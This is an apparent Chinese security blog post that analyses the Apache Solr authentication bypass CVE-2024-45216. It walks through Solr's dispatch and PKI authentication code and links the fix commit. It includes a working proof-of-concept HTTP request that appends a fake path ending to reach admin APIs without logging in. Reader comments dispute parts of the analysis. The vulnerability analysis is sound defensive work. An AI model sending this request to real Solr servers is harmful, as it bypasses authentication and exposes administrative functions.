Apache Solr 最新认证绕过漏洞CVE-2024-45216分析
真爱和自由 发表于 四川 历史精选 1635浏览 · 2024-11-04 05:36

Apache Solr 最新认证绕过漏洞CVE-2024-45216

前言

现在闲着没有事干的时候就喜欢看看阿里云漏洞库,然后看到了一个漏洞

看到是权限绕过,就想去分析一下,因为权限绕过相比于后台漏洞是最实用的

环境搭建

我是参考的https://issues.apache.org/jira/browse/SOLR-17417,很方便

调试分析的话加一个启动参数

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

然后 idea 配置一下

漏洞简单介绍

https://avd.aliyun.com/detail?id=AVD-2024-45216
2024 年 10 月,Apache Solr 官方披露 CVE-2024-45216 Apache Solr 认证绕过漏洞。攻击者可构造恶意请求利用 PKIAuthenticationPlugin 造成权限绕过,从而可在未认证的情况下调用。官方已发布安全更新,建议升级至最新版本。

影响范围
5.3.0 <= Apache Solr < 8.11.4
9.0.0 <= Apache Solr < 9.7.0

然后看一下官方的通告
https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
Apache Solr 中的不正确的身份验证漏洞。

使用 PKIAuthenticationPlugin 的 Solr 实例(在使用 Solr 身份验证时默认启用)容易受到身份验证绕过的影响。任何 Solr API URL 路径末尾的假结尾将允许请求跳过身份验证,同时保持与原始 URL 路径的 API 契约。这个假结尾看起来像一个不受保护的 API 路径,但它在身份验证之后但在 API 路由之前在内部被剥离。

其实已经把漏洞的大概给说出了,所以后面分析起来也是比较简单的

apahce solr 路由处理

我随便在页面上点了一点,然后下断点调试,首先和 spring 其实差不多,

doFilter:204, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:197, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:210, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1635, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:527, ServletHandler (org.eclipse.jetty.servlet)
handle:131, ScopedHandler (org.eclipse.jetty.server.handler)
handle:578, SecurityHandler (org.eclipse.jetty.security)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:223, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1570, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:221, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1383, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:176, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:484, ServletHandler (org.eclipse.jetty.servlet)
doScope:1543, SessionHandler (org.eclipse.jetty.server.session)
nextScope:174, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1305, ContextHandler (org.eclipse.jetty.server.handler)
handle:129, ScopedHandler (org.eclipse.jetty.server.handler)
handle:149, ContextHandlerCollection (org.eclipse.jetty.server.handler)
handle:228, InetAccessHandler (org.eclipse.jetty.server.handler)
handle:141, HandlerCollection (org.eclipse.jetty.server.handler)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:301, RewriteHandler (org.eclipse.jetty.rewrite.handler)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:822, GzipHandler (org.eclipse.jetty.server.handler.gzip)
handle:122, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:563, Server (org.eclipse.jetty.server)
lambda$handle$0:505, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 989941297 (org.eclipse.jetty.server.HttpChannel$$Lambda$811)
dispatch:762, HttpChannel (org.eclipse.jetty.server)
handle:497, HttpChannel (org.eclipse.jetty.server)
onFillable:282, HttpConnection (org.eclipse.jetty.server)
succeeded:314, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:100, FillInterest (org.eclipse.jetty.io)
run:53, SelectableChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:416, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
consumeTask:385, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
tryProduce:272, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
lambda$new$0:140, AdaptiveExecutionStrategy (org.eclipse.jetty.util.thread.strategy)
run:-1, 1112560756 (org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy$$Lambda$390)
run:411, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:934, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1078, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:-1, Thread (java.lang)

就是分发请求然后 handle 处理丢给 Solr 拦截器
SolrDispatchFilter.doFilter 方法如下

public void doFilter(
    ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry)
    throws IOException, ServletException {
  if (!(_request instanceof HttpServletRequest)) return;
  HttpServletRequest request = closeShield((HttpServletRequest) _request, retry);
  HttpServletResponse response = closeShield((HttpServletResponse) _response, retry);

  if (excludedPath(excludePatterns, request, response, chain)) {
    return;
  }
  Tracer t = getCores() == null ? GlobalTracer.get() : getCores().getTracer();
  request.setAttribute(Tracer.class.getName(), t);
  RateLimitManager rateLimitManager = coreService.getService().getRateLimitManager();
  request.setAttribute(RateLimitManager.class.getName(), rateLimitManager);
  ServletUtils.rateLimitRequest(
      request,
      response,
      () -> {
        try {
          dispatch(chain, request, response, retry);
        } catch (IOException | ServletException | SolrAuthenticationException e) {
          throw new ExceptionWhileTracing(e);
        }
      },
      true);
}

实例化请求和响应,然后跟进 excludedPath 判断

static boolean excludedPath(
    List<Pattern> excludePatterns,
    HttpServletRequest request,
    HttpServletResponse response,
    FilterChain chain)
    throws IOException, ServletException {
  String requestPath = getPathAfterContext(request);
  // No need to even create the HttpSolrCall object if this path is excluded.
  if (excludePatterns != null) {
    for (Pattern p : excludePatterns) {
      Matcher matcher = p.matcher(requestPath);
      if (matcher.lookingAt()) {
        if (chain != null) {
          chain.doFilter(request, response);
        }
        return true;
      }
    }
  }
  return false;
}

其实就是判断我们请求的是否是静态的资源,如果是就不需要经过 filter 处理节约资源 String requestPath = getPathAfterContext(request);会获取当前的请求路径,这个本质是通过 getServletPath 获取的
静态资源的路径如下

然后继续回到 doFilter 方法走到 dispatch 方法

private void dispatch(
    FilterChain chain, HttpServletRequest request, HttpServletResponse response, boolean retry)
    throws IOException, ServletException, SolrAuthenticationException {

  AtomicReference<HttpServletRequest> wrappedRequest = new AtomicReference<>();
  authenticateRequest(request, response, wrappedRequest);
  if (wrappedRequest.get() != null) {
    request = wrappedRequest.get();
  }

  if (getCores().getAuthenticationPlugin() != null) {
    if (log.isDebugEnabled()) {
      log.debug("User principal: {}", request.getUserPrincipal());
    }
    getSpan(request).setTag(Tags.DB_USER, String.valueOf(request.getUserPrincipal()));
  }

  HttpSolrCall call = getHttpSolrCall(request, response, retry);
  ExecutorUtil.setServerThreadFlag(Boolean.TRUE);
  try {
    Action result = call.call();
    switch (result) {
      case PASSTHROUGH:
        getSpan(request).log("SolrDispatchFilter PASSTHROUGH");
        chain.doFilter(request, response);
        break;
      case RETRY:
        getSpan(request).log("SolrDispatchFilter RETRY");
        doFilter(request, response, chain, true); // RECURSION
        break;
      case FORWARD:
        getSpan(request).log("SolrDispatchFilter FORWARD");
        request.getRequestDispatcher(call.getPath()).forward(request, response);
        break;
      case ADMIN:
      case PROCESS:
      case REMOTEQUERY:
      case ADMIN_OR_REMOTEQUERY:
      case RETURN:
        break;
    }
  } finally {
    call.destroy();
    ExecutorUtil.setServerThreadFlag(null);
  }
}

首先是鉴权,然后跟进不同的 action 类型选择不同的处理方法
authenticateRequest 方法就是实现了基于插件的身份验证逻辑,然后定义了一些不需要检测的路由
然后判断是否有权限认证的插件,进行相关的身份认证记录,然后主要就是 call 的类型了

然后是根据路由的 handler 获取的

在 init 方法中是 handler = cores.getRequestHandler(path);

然后

if (handler != null) {
  solrReq = SolrRequestParsers.DEFAULT.parse(null, path, req);
  solrReq.getContext().put(CoreContainer.class.getName(), cores);
  requestType = RequestType.ADMIN;
  action = ADMIN;
  return;
}

我们的 action 就是 ADMIN

不同的 action 有不同的处理方法

这里是 handleAdminRequest 方法

之后就是调用专门的 handler 去处理了

漏洞复现

这个有很多复现了
POC

GET /solr/admin/info/system:/admin/info/key HTTP/1.1
Host: 192.168.177.146:8983
SolrAuth:test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

漏洞分析

其实这个漏洞很简单,首先上面鉴权在处理路由已经分析过了
主要是在 authenticateRequest 方法

private void authenticateRequest(
    HttpServletRequest request,
    HttpServletResponse response,
    final AtomicReference<HttpServletRequest> wrappedRequest)
    throws IOException, SolrAuthenticationException {
  boolean requestContinues;
  final AtomicBoolean isAuthenticated = new AtomicBoolean(false);
  CoreContainer cores;
  try {
    cores = getCores();
  } catch (UnavailableException e) {
    throw new SolrException(ErrorCode.SERVER_ERROR, "Core Container Unavailable");
  }
  AuthenticationPlugin authenticationPlugin = cores.getAuthenticationPlugin();
  if (authenticationPlugin == null) {
    if (shouldAudit(EventType.ANONYMOUS)) {
      cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.ANONYMOUS, request));
    }
    return;
  } else {
    // /admin/info/key must be always open. see SOLR-9188
    String requestPath = ServletUtils.getPathAfterContext(request);
    if (PublicKeyHandler.PATH.equals(requestPath)) {
      log.debug("Pass through PKI authentication endpoint");
      return;
    }
    // /solr/ (Admin UI) must be always open to allow displaying Admin UI with login page
    if ("/solr/".equals(requestPath) || "/".equals(requestPath)) {
      log.debug("Pass through Admin UI entry point");
      return;
    }
    String header = request.getHeader(PKIAuthenticationPlugin.HEADER);
    String headerV2 = request.getHeader(PKIAuthenticationPlugin.HEADER_V2);
    if ((header != null || headerV2 != null)
        && cores.getPkiAuthenticationSecurityBuilder() != null)
      authenticationPlugin = cores.getPkiAuthenticationSecurityBuilder();
    try {
      if (log.isDebugEnabled()) {
        log.debug(
            "Request to authenticate: {}, domain: {}, port: {}",
            request,
            request.getLocalName(),
            request.getLocalPort());
      }
      requestContinues =
          authenticationPlugin.authenticate(
              request,
              response,
              (req, rsp) -> {
                isAuthenticated.set(true);
                wrappedRequest.set((HttpServletRequest) req);
              });
    } catch (Exception e) {
      log.info("Error authenticating", e);
      throw new SolrException(ErrorCode.SERVER_ERROR, "Error during request authentication, ", e);
    }
  }
  if (!requestContinues || !isAuthenticated.get()) {
    response.flushBuffer();
    if (shouldAudit(EventType.REJECTED)) {
      cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.REJECTED, request));
    }
    throw new SolrAuthenticationException();
  }
  if (shouldAudit(EventType.AUTHENTICATED)) {
    cores.getAuditLoggerPlugin().doAudit(new AuditEvent(EventType.AUTHENTICATED, request));
  }
}

这里会来到 PKIAuthenticationPlugin 的认证方法

public boolean doAuthenticate(
    HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
    throws Exception {
  // Getting the received time must be the first thing we do, processing the request can take time
  long receivedTime = System.currentTimeMillis();

  String requestURI = request.getRequestURI();
  if (requestURI.endsWith(PublicKeyHandler.PATH)) {
    assert false : "Should already be handled by SolrDispatchFilter.authenticateRequest";

    numPassThrough.inc();
    filterChain.doFilter(request, response);
    return true;
  }

  PKIHeaderData headerData = null;
  String headerV2 = request.getHeader(HEADER_V2);
  String headerV1 = request.getHeader(HEADER);
  if (headerV2 != null) {
    // Try V2 first
    int nodeNameEnd = headerV2.indexOf(' ');
    if (nodeNameEnd <= 0) {
      // Do not log the value as it is likely gibberish
      return sendError(response, true, "Could not parse node name from SolrAuthV2 header.");
    }

    headerData = decipherHeaderV2(headerV2, headerV2.substring(0, nodeNameEnd));
  } else if (headerV1 != null && acceptPkiV1) {
    List<String> authInfo = StrUtils.splitWS(headerV1, false);
    if (authInfo.size() != 2) {
      // We really shouldn't be logging and returning this, but we did it before so keep that
      return sendError(response, false, "Invalid SolrAuth header: " + headerV1);
    }
    headerData = decipherHeader(authInfo.get(0), authInfo.get(1));
  }

  if (headerData == null) {
    return sendError(response, true, "Could not load principal from SolrAuthV2 header.");
  }
  long elapsed = receivedTime - headerData.timestamp;
  if (elapsed > MAX_VALIDITY) {
    return sendError(response, true, "Expired key request timestamp, elapsed=" + elapsed);
  }

  final Principal principal =
      "$".equals(headerData.userName) ? SU : new BasicUserPrincipal(headerData.userName);

  numAuthenticated.inc();
  filterChain.doFilter(wrapWithPrincipal(request, principal), response);
  return true;
}

这个认证方法有一个很致命的问题,就是检验路径使用的是 requestURI.endsWith(PublicKeyHandler.PATH),查看 PublicKeyHandler.PATH 的值

然后就是路由的合法性了
这也是为什么 poc 中需要 :

回到分发路由的地方

跟进 call 方法

然后路由是在 init 处理的
路由处理是在

protected void init() throws Exception {
// check for management path
String alternate = cores.getManagementPath();
if (alternate != null && path.startsWith(alternate)) {
  path = path.substring(0, alternate.length());
}

queryParams = SolrRequestParsers.parseQueryString(req.getQueryString());

// unused feature ?
int idx = path.indexOf(':');
if (idx > 0) {
  // save the portion after the ':' for a 'handler' path parameter
  path = path.substring(0, idx);
}

简单易懂,就是截取:前面的

对于header头

我们可以看到逻辑

是需要有header头才可以使用PKIAuthenticationPlugin鉴权的
而header头的值

漏洞修复

查看代码 diff
https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38
直接简单明了

4 条评论
某人
表情
可输入 255
1998307894807954
2024-12-03 06:32 山东 0 回复

@1341025112991831

我的意思是,这个洞部署模式要solrcloud模式,并且配置认证,而这个作者分析完全没说明这点,还有那个payload.都不带SolrAuth请求头,这完全不合理吧,是不是为了发文章而发


1998307894807954
2024-12-03 06:31 山东 0 回复

我的意思是,这个洞部署模式要solrcloud模式,并且配置认证,而这个作者分析完全没说明这点,还有那个payload.都不带SolrAuth请求头,这完全不合理吧,是不是为了发文章而发


1998307894807954
2024-11-23 23:49 山东 0 回复

现在看人公布的poc.是不是分析错了,你这环境默认存在未授权吧